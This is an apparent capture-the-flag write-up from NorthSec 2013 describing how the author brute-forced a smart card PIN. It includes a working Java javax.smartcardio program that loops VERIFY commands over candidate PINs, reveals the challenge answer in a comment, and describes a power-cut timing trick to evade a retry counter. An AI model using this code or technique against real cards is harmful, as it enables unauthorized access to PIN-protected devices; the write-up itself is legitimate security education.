This is the second entry about the smart card track at NorthSec 2013, if you missed the first one, read it here.
According to the track instructions, the second flag was the current PIN and they seemed to be in order of difficulty so I attacked this one next. I should mention that even without the track instructions, it was obvious, we needed to find the current PIN. The initial smart card page gave the procedure to change the PIN, for that we needed to create two keys by following these instructions:
- Concatenate the current PIN with the Ben Pyr App Data (don’t know what that is, but we’ll find out later)
- XOR with the PIN encryption key from the old access applet
- XOR with the concatenation of the xored app logs(???), 2 constant bytes and the card model
So from the construction of these keys, we knew what we had to find in order to BEGIN the procedure. So, on with the current PIN. The page mentioned that the old PIN checking application was still installed on the new cards to allow checking the OLD PIN but that it was very slow when a wrong PIN was entered.
The additional track instructions fortunately gave the AIDs (Application IDentifiers) for all 3 applets (named so that we could identify them) and the initial page listed all commands that each applet accepted (with HEX representation of the commands!).
The page indicated that the PIN was 4 digits, but further along it also indicated that due to some restrictions with the old applet, the first digit had to be 0. So we had a 3 digit PIN to find. I know an easy solution: Brute Force.
After the reset, the first command you issue is a SELECT to select the right applet, I selected OLDCDC1 which was the applet to verify the old PIN and I issued the VERIFY command with “0000” PIN. As expected, the card returned that this was the wrong PIN, but took about 2 seconds to do so. At this point I was still using a smart card shell in which I entered commands by hand one by one. This would take way too long.
I started looking on google for a way to automate the process and I found the javax.smartcardio package. Being a java developer, I grabbed the example code in the javadoc and pasted it into Eclipse. This code initialized the terminal and opened a channel to the card. I then coded the reset, SELECT and did a loop to test all PINs from 0000 to 9999 (I figured, that the bit about starting with a 0 might be a lie and in any case I tested those first). As soon as the VERIFY would return true, the program would break and return that value.
I let it run for a good part of the afternoon, but nearing the end of the day, I saw it was beyond 1000, so it looked very suspicious and I decided to look at the code to make sure I didn’t overlook something. It turns out I wasn’t converting the PIN to bytes properly (I was sending the PIN as a binary digit instead of as text). So right before we left for the night, I recompiled the new version with the text PINs. It ran until the network of the competition closed that night at 10PM.
import java.io.ByteArrayOutputStream; import java.io.PrintWriter; import java.util.List; import javax.smartcardio.Card; import javax.smartcardio.CardChannel; import javax.smartcardio.CardTerminal; import javax.smartcardio.CommandAPDU; import javax.smartcardio.ResponseAPDU; import javax.smartcardio.TerminalFactory; public class BruteForcePin { static byte[] selectApdu = new byte[] { 0x00, (byte) 0xA4, 0x04, 0x00, 0x07, 0x4F, 0x4C, 0x44, 0x43, 0x44, 0x43, 0x31 }; static byte[] verifyApdu = new byte[] { 0x00, 0x20, 0x00, 0x00, 0x04 }; public static void main(String[] args) throws Exception { // show the list of available terminals javax.smartcardio.TerminalFactory factory = TerminalFactory.getDefault(); List terminals = factory.terminals().list(); System.out.println("Terminals: " + terminals); // get the first terminal CardTerminal terminal = terminals.get(0); // establish a connection with the card Card card = terminal.connect("T=1"); System.out.println("card: " + card); CardChannel channel = card.getBasicChannel(); ResponseAPDU r = channel.transmit(new CommandAPDU(selectApdu)); System.out.println("response: " + bytesToHex(r.getBytes())); // Right pin is 719 for (int i = 0; i < 1000; ++i) { ByteArrayOutputStream os = new ByteArrayOutputStream(); PrintWriter w = new PrintWriter(os); w.printf("%04d", i); w.flush(); byte[] pin = os.toByteArray(); System.out.println(i); if (tryVerify(channel, pin)) { System.out.println(i); break; } } // disconnect card.disconnect(false); } private static boolean tryVerify(CardChannel channel, byte[] pin) throws Exception { ByteArrayOutputStream os = new ByteArrayOutputStream(); os.write(verifyApdu); os.write(pin); ResponseAPDU r = channel.transmit(new CommandAPDU(os.toByteArray())); byte[] resp = r.getBytes(); System.out.println("response: " + bytesToHex(r.getBytes())); return resp[0] == (byte) 0x90 && resp[1] == 00; } public static String bytesToHex(byte[] bytes) { final char[] hexArray = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; char[] hexChars = new char[bytes.length * 2]; int v; for (int j = 0; j >> 4]; hexChars[j * 2 + 1] = hexArray[v & 0x0F]; } return new String(hexChars); } }
Fortunately, I did not need the network, so I let my laptop keep on searching during the Hacker jeopardy and then while I was asleep. We went to bed at around 1:30 AM and got up at 8 AM.
I knew I probably had a flag waiting for me, so I got there at 8:45 AM, fifteen minutes before the competition opened. When I arrived at the competition site, I saw my laptop with the smart card reader next to it and the light from the reader wasn’t flashing anymore, so it meant that either it had found the right flag or it had gone through all 10000 combinations. When I opened the laptop, I saw the program had found the PIN not long after we left and I submitted my flag as soon as the competition opened.
After the competition, I talked with the organizers and they told me that their initial plan was to make it much harder to find the current PIN. They wanted to have a counter starting at 255 and decrementing every time an invalid PIN was tried. They would return the value of the counter after each VERIFY command so that we would know that we didn’t have many tries. The trick though was that they would decrement the counter only after the 1.5s delay, so the attack was to time the response and after 50 or 100ms, you would need to disconnect the card and cut the power before the counter was decremented. In theory, you would have as many tries as you wanted and speed up your search considerably. The hard part was knowing how long to wait for a correct PIN…
But, the organizers told me they had some problems implementing that, there were some overflow problems and the decrementing counter was not put in place.
So I had my flag and I’ll keep the rest of the story for the third entry.